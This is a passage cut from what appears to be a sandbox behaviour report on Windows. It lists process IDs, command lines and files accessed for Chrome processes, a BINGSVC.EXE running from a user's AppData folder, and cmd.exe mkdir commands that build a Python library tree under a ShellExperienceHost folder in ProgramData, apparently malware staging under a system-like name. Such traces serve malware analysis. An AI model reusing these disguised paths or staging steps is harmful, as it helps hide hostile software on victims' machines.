        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        
        3912
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=6 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2096 /PREFETCH:1
        
        Time lapse
        
        160.468269
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        
        3352
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=RENDERER --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --EXTENSION-PROCESS --DEVICE-SCALE-FACTOR=1 --NUM-RASTER-THREADS=1 --RENDERER-CLIENT-ID=5 --NO-V8-UNTRUSTED-CODE-MITIGATIONS --MOJO-PLATFORM-CHANNEL-HANDLE=2368 /PREFETCH:1
        
        Time lapse
        
        160.991297
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        
        4352
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=GPU-PROCESS --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --GPU-PREFERENCES=SAAAAAAAAADGAAAWAAAAAAAAAAAAAAAAAABGAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHGAAAAAAAAAKAAAAAQAAAAGAAAAAAAAACGAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAGAAAAAAAAA --USE-GL=SWIFTSHADER-WEBGL --MOJO-PLATFORM-CHANNEL-HANDLE=2668 /PREFETCH:2
        
        Time lapse
        
        161.594332
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\DXGI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\VM3DUM64_LOADER.DLL
        C:\WINDOWS\SYSTEM32\MF.DLL
        C:\WINDOWS\SYSTEM32\ATL.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\KSUSER.DLL
        C:\WINDOWS\SYSTEM32\MSMPEG2VDEC.DLL
        C:\WINDOWS\SYSTEM32\EVR.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\SLC.DLL
        C:\WINDOWS\SYSTEM32\SQMAPI.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\DXVA2.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\D3DCOMPILER_47.DLL
        C:\WINDOWS\SYSTEM32\DDRAW.DLL
        C:\WINDOWS\SYSTEM32\DCIMAN32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\SWIFTSHADER\LIBGLESV2.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\SWIFTSHADER\LIBEGL.DLL
        
        4584
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" --TYPE=UTILITY --UTILITY-SUB-TYPE=DATA_DECODER.MOJOM.DATADECODERSERVICE --FIELD-TRIAL-HANDLE=1100,3480392634019746481,8364875082182553191,131072 --LANG=EN-US --SERVICE-SANDBOX-TYPE=UTILITY --MOJO-PLATFORM-CHANNEL-HANDLE=3200 /PREFETCH:8
        
        Time lapse
        
        163.039415
        
        Files Accessed
        
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        
        1512
        
        Image path
        
        "C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\BINGSVC\BINGSVC.EXE"
        
        Time lapse
        
        151.025269
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\SENSAPI.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\BINGSVC\BINGSVC.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        
        1132
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL\
        
        Time lapse
        
        68.267122
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL
        
        1080
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\
        
        Time lapse
        
        68.282723
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG
        
        1544
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\
        
        Time lapse
        
        68.391924
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT
        
        2292
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\
        
        Time lapse
        
        68.423123
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT
        
        112
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\
        
        Time lapse
        
        68.454323
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS
        
        428
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\
        
        Time lapse
        
        68.469923
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT
        
        2800
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\
        
        Time lapse
        
        68.485523
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP
        
        3792
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\
        
        Time lapse
        
        68.516724
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT
        
        884
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\
        
        Time lapse
        
        68.610323
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER
        
        3116
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\
        
        Time lapse
        
        68.625923
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST
        
        3960
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\
        
        Time lapse
        
        68.657124
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS
        
        3128
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST\
        
        Time lapse
        
        68.688324
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST
        
        4072
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\
        
        Time lapse
        
        68.703922
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND
        
        4092
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\
        
        Time lapse
        
        68.719523
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
